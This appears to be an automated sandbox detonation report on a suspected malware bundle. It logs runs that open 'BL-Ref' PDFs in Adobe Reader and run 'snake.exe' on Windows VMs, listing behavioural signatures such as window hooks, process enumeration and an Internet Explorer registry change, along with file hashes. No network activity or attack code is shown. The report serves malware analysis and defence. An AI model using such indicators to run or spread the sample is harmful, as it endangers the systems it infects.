SHA512	8947e1c5b60e4fafc82e6293b42007a5abbf8d574197b0344891aa554ba75019a6c41ece051c560e92a98355cd9fc9ba06ec2bf73eef54a3e0e8ac20dfa3774c

Analysis: behavioral13

Detonation Overview

Submitted

2024-05-22 22:35

Reported

2024-05-22 22:38

Platform

win7-20240508-en

Max time kernel

122s

Max time network

126s

Command Line

"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\080920172142\BL-Ref-30673.-2017.pdf"

Signatures

Suspicious behavior: GetForegroundWindowSpam

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A

Suspicious use of SetWindowsHookEx

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A

Processes

C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe

"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\080920172142\BL-Ref-30673.-2017.pdf"

Network

N/A

Files

C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

MD5	3d77dbd8c765931219cbfbeb88841ff8
SHA1	f95910842765d92f96ec3e25f78fb467129149d0
SHA256	8804df2bc80a3ade1d6e87aa68a0fdc44d1270ed5439563848ce6d10e841d4a8
SHA512	e4f632f97d9fa7e356f7cb98634d8c87a498804d9484d1c03dbf076b67fbbe47519e43b6c9c50b0cab7a3d998053408fcea42896fdfc19eeafaa760187f63bd5

Analysis: behavioral17

Detonation Overview

Submitted

2024-05-22 22:35

Reported

2024-05-22 22:38

Platform

win7-20240221-en

Max time kernel

122s

Max time network

126s

Command Line

"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\080920172142\BL-Ref-38800.2017.pdf"

Signatures

Suspicious behavior: GetForegroundWindowSpam

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A

Suspicious use of SetWindowsHookEx

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe	N/A

Processes

C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe

"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\080920172142\BL-Ref-38800.2017.pdf"

Network

N/A

Files

C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

MD5	e3f8f8d3c340754790c1e5c2d96b410f
SHA1	538f1657717ef410b1f6351ae231fdda60d534f2
SHA256	078577e32a403e58f6b25fdf8e2f58a540bb98d4b0ebea31d912e3db5ac155ab
SHA512	cca7a35032bf47cd068f556fbe17901dd8b8ce53f599d0fba1eb675a70a1ed3fce36c7336934e7a596873b15e3095f4a3c40249a9f8423c447195c3c364d4817

Analysis: behavioral27

Detonation Overview

Submitted

2024-05-22 22:35

Reported

2024-05-22 22:38

Platform

win7-20240221-en

Max time kernel

119s

Max time network

125s

Command Line

"C:\Users\Admin\AppData\Local\Temp\080920172142\snake.exe"

Signatures

N/A

Processes

C:\Users\Admin\AppData\Local\Temp\080920172142\snake.exe

"C:\Users\Admin\AppData\Local\Temp\080920172142\snake.exe"

Network

N/A

Files

N/A

Analysis: behavioral14

Detonation Overview

Submitted

2024-05-22 22:35

Reported

2024-05-22 22:38

Platform

win10v2004-20240226-en

Max time kernel

141s

Max time network

151s

Command Line

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\080920172142\BL-Ref-30673.-2017.pdf"

Signatures

Checks processor information in registry

Description	Indicator	Process	Target
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A

Modifies Internet Explorer settings

adware spyware

Description	Indicator	Process	Target
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A

Suspicious use of FindShellTrayWindow

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A

Suspicious use of SetWindowsHookEx

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A
N/A	N/A	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	N/A